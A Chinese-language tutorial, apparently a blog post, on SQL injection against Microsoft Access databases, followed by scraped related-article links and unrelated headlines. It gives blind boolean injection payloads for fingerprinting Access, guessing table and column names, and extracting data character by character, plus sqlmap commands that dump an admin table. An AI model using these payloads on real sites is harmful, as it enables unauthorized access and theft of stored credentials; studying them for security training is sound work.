Access数据库

Microsoft Office Access是由微软发布的关系数据库管理系统。Microsoft Office Access是微软把数据库引擎的图形用户界面和软件开发工具结合在一起的一个数据库管理系统。它是微软Office家族的一个成员。Access以它自己的格式将数据存储在基于Access Jet的数据库引擎里。Access数据库属于文件型数据库,所以不需要端口号。

在Office 2007之前的Access数据库文件的后缀是 .mdb ,Office2007及其之后的Access数据库文件的后缀是 .accdb

Access数据库中没有注释符号.因此 /**/--# 都没法使用。

Access是小型数据库,当容量到达100M左右的时候性能就会开始下降。

Access数据库不支持错误显示注入,Access数据库不能执行系统命令。

数据库文件打开工具:辅臣数据库浏览器

Access数据库的连接:

"Driver={Microsoft Access driver(*.mdb)};dbq=*;uid=admin;pwd=pass;"

Access数据库中的函数

select len("string")        查询给定字符串的长度
select asc("a")             查询给定字符串的ascii值
top  n                      查询前n条记录
select mid("string",2,1)    查询给定字符串从指定索引开始的长度

mid(string,start,length) 这个用来截取字符串的

  • string是要截取的字符串
  • start是截取的字符串开始索引
  • length是要截取的字符串长度

盲注Access数据库(暴力猜解,也可以说是枚举)

Access数据库特有的表是:msysobjects ,所以可以用它来判断是否是Access数据库

exists(select*from msysobjects)  #如果这条语句正确,说明是Access数据库

Access没有数据库的概念,所有的表都是在同一个数据库下。所以,我们不用去判断当前的数据库名,并且access数据库中也不存在 database() 函数。

Access数据结构(access只有一个数据库)

Access数据库表名列名数据

对于判断存在哪些表,只能用以下枚举的方法来猜测是否存在某某表。

判断存在sql注入后,判断是否存在admin表,如果存在,正常查询,如果不存在,报语法错误。然后通过枚举表名爆破
and exists(select* from  admin)

猜测字段也是一样,只能通过枚举来猜测

判断有admin表后,再判断admin表有多少列,假如1-10正常查询,11列报语法报错,那说明有10列
and exists(select*from admin order by 10)
判断出存在的列数后,再判断具体的列名。以下语句判断是否存在name列,如果存在,正常查询,如果不存在,则报语法错误。然后再通过枚举列名爆破
and exists(select name from admin)

猜测完表名和字段名后,我们就看看这个表里面有多少行数据 ,如果>99查询正确,>100查询错误**(这里是查询错误,而不是语法错误)**,说明有100行数据

and (select count(*) from information)>100

然后在猜测每个字段具体的数据了

access数据库中没有 limit,就不能限制查询出来的行数。但是我们可以使用top命令,top 1是将查询的所有数据只显示第一行,所以 top3就是显示查询出来的前三行数据了

猜测admin列的第一个数据的长度,如果大于5查询不出数据,大于4正常,说明admin列的第一个数据长度是5
and (select top 1 len(admin)from admin)>5猜测admin列的第一行数据的第一个字符的ascii码值,如果大于97查询不出数据,大于96正常,说明admin列的第一行数据的第一个字符的ascii值是97
and (select top 1 asc(mid(admin,1,1))from admin)>97
第一行数据的第二个字符
and (select top 1 asc(mid(admin,2,1))from admin)>97 从第二行开始,查询数据就得用另外的语句了,因为这里的top只能显示查询前几条数据,所以我们得用联合查询,先查询前两条,然后倒序,然后在找出第一条,这就是第二条数据。
查询第二行admin列的长度
and (select top 1 len(admin)  from ( select top 2 * from information order by id)  order by id desc)>55
下面是查询第2条数据的第3个字符
and (select top 1 asc(mid(admin,3,1))  from ( select top 2 * from information order by id)  order by id desc)>55
查询第三条数据的4个字符
and (select top 1 asc(mid(admin,4,1))  from ( select top 3 * from information order by id)  order by id desc)>55

注:在access中,中文也可以用asc函数来表示,例如:asc(mid("中国",1)) 表示 字的ascii值,可以用 chr 来逆向得出值

asc("中") = -10544
chr(-10544) = 中

Sqlmap注入Access数据库

爆出access数据库存在的表

只能利用枚举的方式爆破。

sqlmap -u "xxx"  --tables

第一步问我们是否使用公共的库去爆破,我们选择:Y;

第二步选择默认的库文件:1

第三步选择线程数:10

可以看出爆出了两个数据表:admin 、 specialty

爆出admin数据库中的列名

sqlmap -u "xxx" -T admin --columns

意思和上一步也是一样的。

爆出admin表下username列的所有数据

sqlmap -u "xxx" -T admin -C username --dump-all

相关文章:整理比较全的Access SQL注入参考

Sqlmap使用详解

SQL注入漏洞详解

Access数据库及注入方法相关推荐

  1. WEB安全之:Access 数据库 SQL 注入

    郑重声明: 本笔记编写目的只用于安全知识提升,并与更多人共享安全知识,切勿使用笔记中的技术进行违法活动,利用笔记中的技术造成的后果与作者本人无关.倡导维护网络安全人人有责,共同维护网络文明和谐. SQ ...

  2. Access数据库偏移注入

    前言 本来想好好介绍一下Access数据库的偏移注入,找个目标来试试,但是找了好久都没有找到,又想自己要不在本地搭建一个?额...还是算了吧,没有太多的时间,之后在网上搜索了一些"偏移注入& ...

  3. 15、Access数据库偏移注入

    前言 本来想好好介绍一下Access数据库的偏移注入,找个目标来试试,但是找了好久都没有找到,又想自己要不在本地搭建一个?额...还是算了吧,没有太多的时间,之后在网上搜索了一些"偏移注入& ...

  4. ACCESS数据库防下载方法 1

    ACCESS数据库防下载方法 作者:luotoal  来源:网络  点击数: 21131  更新时间:2006年05月21日  ACCESS数据库防下载方法   下面的方法分别适用有IIS控制权和   ...

  5. Access数据库手工注入

    ACCESS数据库手工注入 access数据库 是一种非常简单但是功能完整的数据库,很适合小型网站创建,可以很轻松管理表和列,有很多管理工具. access数据库结构? access数据库是这么个结构 ...

  6. 通过一个小项目介绍Python3读写Access数据库(.mdb)的方法

    1. 小项目功能介绍 本文通过一个小项目介绍Python3读写Access数据库(.mdb)的方法,该项目功能较简单,将mdb中的旧编码替换为新编码,新旧编码对照表放在1个excel(本文命名为新旧编 ...

  7. 【CyberSecurityLearning 60】ACCESS数据库的注入+ACCESS数据库的cookie注入

    目录 ACCESS注入 雷驰新闻系统v1.0环境搭建: ACCESS数据库注入演示1: 雷驰新闻系统v3.0环境搭建: cookie注入演示2: ACCESS数据库注入用sqlmap怎么做?演示: A ...

  8. Access数据库——Cookie注入

    目录 1.Cookie注入 什么是Cookie? Cookie注入简介 Cookie和注入有什么关系? Cookie的核心 2.如何设置Cookie? 方法一:依靠浏览器进行设置 方法二:抓包直接修改 ...

  9. mysql可以偏移注入_access数据库一般注入方法及偏移注入

    1.access数据库与mysql数据库的差别 access没有数据库,access数据库每个数据都是单个文件,每个access只有表结构 mysql : 库名,表名,列名,字段内容 access:表 ...

最新文章

  1. java实现快速排序
  2. java robot 对象_用Java Robot对象实现服务器屏幕远程监视
  3. BZOJ 4567 [SCOI2016]背单词 (Trie树、贪心)
  4. python目录遍历_python文件操作之目录遍历实例分析
  5. autojs定时可以选定日期吗_Excel工作表中的7个“一键完成”,你真的都了解、掌握吗?...
  6. SQL语言基础:SQL中的数据完整性约束用法
  7. 全国教学交流研讨会“教学为本”主题总结
  8. gdal - ogr简单对象模型
  9. android 数据库 数组,如何从SQLITE数据库中获取数据到android中的数组?
  10. 《数据结构》严蔚敏与陈越伪代码总结
  11. 通信业正面临一场巨变,要么滚蛋要么改变
  12. 谷歌离线地图WMS/WMTS服务
  13. 数学建模常用模型10 :数据包络(DEA)分析法(投入产出法)
  14. SecureCRT for mac 破解安装
  15. 基于STM32的ch438串口扩展芯片使用
  16. 计算机切换器鼠标反应慢,kvm切换器故障操作解决方法详解
  17. 用计算机公式计算优良,『excel怎样合并单元格』如何在EXCEL中如何用公式计算全年级各班各科平均分、优秀率、合格率的方法...
  18. 计算机控制面板有何用途,控制面板上面功能都有什么作用
  19. Tanya出了新碟,这让我想起来了高中时听她的记念
  20. 2、软件测试生命周期以及流程

热门文章

  1. Linux线程编程记录
  2. LoRa 学习 Day1
  3. 地铁bas服务器系统,地铁某线BAS系统项目
  4. 【C++标准库】std::string用法指南源码剖析
  5. vivo21a点击android版本,vivoX21适配安卓P系统
  6. 快看,好神奇!把Python脚本变成漂亮的机器学习工具
  7. linux终端打开画图,如何在Ubuntu 18.04中安装协同绘画软件Drawpile
  8. 2022 RoboCom 世界机器人开发者大赛-本科组(省赛)-- 第三题 跑团机器人 (已完结)
  9. win10护眼模式的使用方法
  10. 香港女子坐巴士打瞌睡头发被剪15厘米 涉事者被捕